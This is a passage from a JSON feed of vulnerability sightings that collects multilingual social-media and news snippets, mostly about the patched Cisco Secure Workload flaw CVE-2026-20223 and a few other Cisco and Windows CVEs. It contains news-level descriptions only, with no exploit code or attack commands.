(CVE-2026-20223) in its Secure Workload platform, allowing unauthenticated access to sensitive resources via internal APIs. With a CVSS score of 10.", "creation_timestamp": "2026-05-21T23:02:55.865888Z"}, {"uuid": "a9972f65-bfe5-4e99-a1e9-a5c7a8f5b30e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrz57mlzx225", "content": "\u041e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20316 \u0432 Cisco Secure Firewall Management Center: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u0443\u0433\u0440\u043e\u0437\n\n\n\nhttps://kripta.biz/posts/365DCF87-8A60-4EE8-B70E-3D2D21DB726B", "creation_timestamp": "2026-08-01T09:18:52.851406Z"}, {"uuid": "78c5ffb3-72ee-43bd-aca8-5dc8408c9735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/CyberDispatch/584", "content": "Cisco fixed an actively exploited zero-day in its voice and collaboration stack.\n\nCVE-2026-20045 allows unauthenticated attackers to run commands and escalate to root on exposed Unified CM and Webex Calling systems.", "creation_timestamp": "2026-08-29T20:00:23.234722Z"}, {"uuid": "1f47a64d-2cf6-43b3-acca-77aa60a8f64c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmgcofy7r62h", "content": "CVE-2026-20223 \u2014 Cisco Secure Workload Authentication Bypass", "creation_timestamp": "2026-05-22T06:30:07.714504Z"}, {"uuid": "146983ce-9fbd-4caf-b85f-03b95cef5a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmgdgvic5g2f", "content": "Cisco Secure Workload\u306b\u3001\u672a\u8a8d\u8a3c\u30fb\u30ea\u30e2\u30fc\u30c8\u3067\u6a5f\u5bc6\u30c7\u30fc\u30bf\u3078\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u6df1\u523b\u306a\u8106\u5f31\u6027\uff08CVE-2026-20223\uff09\u304c\u767a\u898b\u3055\u308c\u3001\u4fee\u6b63\u3055\u308c\u307e\u3057\u305f\u3002", "creation_timestamp": "2026-05-22T06:43:48.126246Z"}, {"uuid": "46213914-a09a-4036-b11d-ee5e188ac662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmgdjtlwac22", "content": "Cisco patched CVE-2026-20223, a CVSS 10.0 Secure Workload REST API flaw that could let unauthenticated attackers access sensitive data and change tenant configurations. #Cisco #SecureWorkload #CVE202620223", "creation_timestamp": "2026-05-22T06:45:25.807290Z"}, {"uuid": "260a3dce-96c4-41f3-bc0c-b8e66b4733f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20223", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mmgdwdhwoszj", "content": "Cisco fixed maximum severity flaw CVE-2026-20223 in Secure Workload https://securityaffairs.com/192473/security/cisco-fixed-maximum-severity-flaw-cve-2026-20223-in-secure-workload.html", "creation_timestamp": "2026-05-22T06:53:04.653839Z"}, {"uuid": "1275b272-04bf-4b0b-84fe-17544ee6a348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://thehackernews.com/2026/05/cisco-patches-cvss-100-secure-workload.html", "content": "Cisco has rolled out updates for a maximum-severity security flaw impacting Secure Workload that could allow an unauthenticated, remote attacker to access sensitive data.\n\nTracked as CVE-2026-20223 (CVSS score: 10.0), the vulnerability arises from insufficient validation and authentication when accessing REST API endpoints.\n\n\"An attacker could exploit this vulnerability if they are able to send", "creation_timestamp": "2026-05-22T03:36:18.000000Z"}, {"uuid": "0de66ee1-4854-496d-a6be-89607ebbe68f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20223", "type": "seen", "source": "https://social.tchncs.de/users/gborn/statuses/116617596289039041", "content": "Cisco Secure Workload-Schwachstelle CVE-2026-20223 - ist mit CVSS 3.1 Score 10.0 \"a bisserl kritisch\" - also patchen\nhttps://borncity.com/blog/2026/05/22/kritische-cisco-secure-workload-schwachstelle-cve-2026-20223-patchen/", "creation_timestamp": "2026-05-22T09:48:33.218478Z"}, {"uuid": "d9c78bad-28f3-439a-b7dc-dd12886ea7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/etguenni.bsky.social/post/3mmgnrqqngk2y", "content": "Cisco Secure Workload-Schwachstelle CVE-2026-20223 - ist mit CVSS 3.1 Score 10.0 \"a bisserl kritisch\" - also patchen\n\nborncity.com/blog/2026/05...", "creation_timestamp": "2026-05-22T09:48:47.783573Z"}, {"uuid": "f9f1745f-3f5a-4640-9d9b-2053462fef30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberDispatch/519", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-29T20:00:23.770776Z"}, {"uuid": "6accfcf4-594c-4dce-850e-f701e0e5d43b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrz57xg35s2n", "content": "\u05d7\u05e9\u05d9\u05e4\u05ea CVE-2026-20316: \u05e4\u05d9\u05e8\u05e6\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1\u05de\u05e2\u05e8\u05db\u05ea \u05e0\u05d9\u05d4\u05d5\u05dc Firewall \u05e9\u05dc \u05e1\u05d9\u05e1\u05e7\u05d5 - \u05de\u05d4 \u05e2\u05d5\u05de\u05d3 \u05de\u05d0\u05d7\u05d5\u05e8\u05d9\u05d4 \u05d5\u05db\u05d9\u05e6\u05d3 \u05dc\u05d4\u05d2\u05df \u05e2\u05dc \u05e2\u05e6\u05de\u05da\n\n\n\nhttps://khesef.xyz/posts/F8E806E2-220F-492B-A9D1-CD78F8FE3022", "creation_timestamp": "2026-08-01T09:19:04.220412Z"}, {"uuid": "d8c0b82f-9e7c-4098-9523-58a02ca8fc37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://t.me/CyberDispatch/463", "content": "Cisco released patches for CVE-2026-20029 in Identity Services Engine and ISE-PIC.\n\nThe XML parsing flaw allows an authenticated admin to upload a malicious file and read restricted OS files.\n\nA public PoC exists. Patch Now.", "creation_timestamp": "2026-08-29T20:00:23.943389Z"}, {"uuid": "d9b30e42-ede4-4975-82e9-465d7cb8cf19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmgriqjatj2u", "content": "Cisco Secure Workload Flaw CVE-2026-20223 Gets Maximum CVSS 10 Rating", "creation_timestamp": "2026-05-22T10:55:21.659020Z"}, {"uuid": "b20cf125-e35e-4e97-a902-d6f3f990e6d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "Telegram/tPuuaTMLj6sWTD7_yqbtwdzYy7bHD5gILqSKBR5FTd1HCQ", "content": "", "creation_timestamp": "2026-05-22T05:53:30.000000Z"}, {"uuid": "b45ea5cb-5874-4e63-bb55-052a31d154ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20185", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mmh2cq3gte2i", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-20185 Cisco\u306eCisco 350 Series Managed Switches, Cisco 350X Series Stackable Managed Switches\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nCisco 350\u30b7\u30ea\u30fc\u30ba\u304a\u3088\u3073350X\u30b7\u30ea\u30fc\u30ba\u306e\u7ba1\u7406\u30b9\u30a4\u30c3\u30c1\u306b\u304a\u3051\u308bSNMP\u30b5\u30d6\u30b7\u30b9\u30c6\u30e0\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u5f71\u97ff\u3092\u53d7\u3051\u305f\u30c7\u30d0\u30a4\u30b9\u3067\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\uff08DoS\uff09\u72b6\u614b\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002", "creation_timestamp": "2026-05-22T13:33:04.156792Z"}, {"uuid": "b4374116-57a7-4e52-a62c-476f2ab64c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmh527mvgg42", "content": "Cisco Secure Workload CVE-2026-20223 Earns CVSS 10.0 CVE-2026-20223 lets unauthenticated remote attackers gain full Site Admin access to Cisco Secure Workload; no credentials or user interaction ar...\n\n#Cybersecurity #CVE #Vulnerability #Alerts [\u2026] \n\n[Original post on dailysecurityreview.com]", "creation_timestamp": "2026-05-22T14:22:07.976569Z"}, {"uuid": "ce64a8e2-8691-4d56-80f5-bb6a6496fc39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mmh7z7skhs2g", "content": "Cisco fixed maximum severity flaw CVE-2026-20223 in Secure Workload\n\nCisco fixed a critical Secure Workload flaw (CVE-2026-20223) that could let attackers gain Site Admin privileges through crafted API requests. Cisco released patches for a critical vulnerability, tracked as CVE-2\u2026\n#hackernews #news", "creation_timestamp": "2026-05-22T15:15:07.074809Z"}, {"uuid": "5bcb9bf7-5616-4b59-acfa-3a122dad120a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmhapalgu22n", "content": "\u26a0\ufe0f #ALERTA CR\u00cdTICA: #Vulnerabilidad de Escalada de Privilegios en #Cisco Secure Workload (CVE-2026-20223) (+CONTENCI\u00d3N) www.newstecnicas.com/2026/05/aler...", "creation_timestamp": "2026-05-22T15:27:29.242562Z"}, {"uuid": "64b13675-7ca4-41f4-83a5-a5b8ee5b79b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmhf3ayyxc2n", "content": "\u26a0\ufe0f ALERTA CR\u00cdTICA: Vulnerabilidad de Escalada de Privilegios en Cisco Secure Workload (CVE-2026-20223) (+CONTENCI\u00d3N) www.newstecnicas.com/2026/05/aler...", "creation_timestamp": "2026-05-22T16:45:55.717640Z"}, {"uuid": "8f9d3b52-26c0-4ecb-8e36-0aa075a75712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mmhlcgr2r42v", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-20182, CVE-2026-42897, CVE-2026-45585, CVE-2026-42945, CVE-2026-9082\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-05-22T18:37:06.442348Z"}, {"uuid": "74c4ec04-c2bb-4ff0-904d-bb176101b0a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/true_secator/8236", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure Workload, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u0430\u043a Cisco Tetration, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 Cisco Secure Workload \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0437\u0430 \u0441\u0447\u0435\u0442 \u043c\u0438\u043a\u0440\u043e\u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0443\u0433\u0440\u043e\u0437, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20223, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 REST API Secure Workload \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\n\u041e\u043d\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c REST API. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u0435\u043c\u0443 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0443\u0440\u043e\u0432\u043d\u044f\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u0442, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e \u0434\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0435 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Cisco Secure Workload SaaS.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0435\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 PSIRT \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430, \u0447\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (CVE-2026-20182) \u0432 Catalyst SD-WAN, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043a\u0430\u043a 0-day, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442 CISA\u00a0\u0432\u044b\u044f\u0432\u0438\u043b\u0430 91\u00a0\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Cisco, \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u043c\u0438\u0441\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c. \u0422\u0430\u043a \u0447\u0442\u043e, \u0436\u0434\u0435\u043c.", "creation_timestamp": "2026-05-22T18:00:08.000000Z"}, {"uuid": "0a6f881a-e8bd-4beb-9d29-0f19ad70faa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/true_secator/8236", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure Workload, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u0430\u043a Cisco Tetration, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 Cisco Secure Workload \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0437\u0430 \u0441\u0447\u0435\u0442 \u043c\u0438\u043a\u0440\u043e\u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 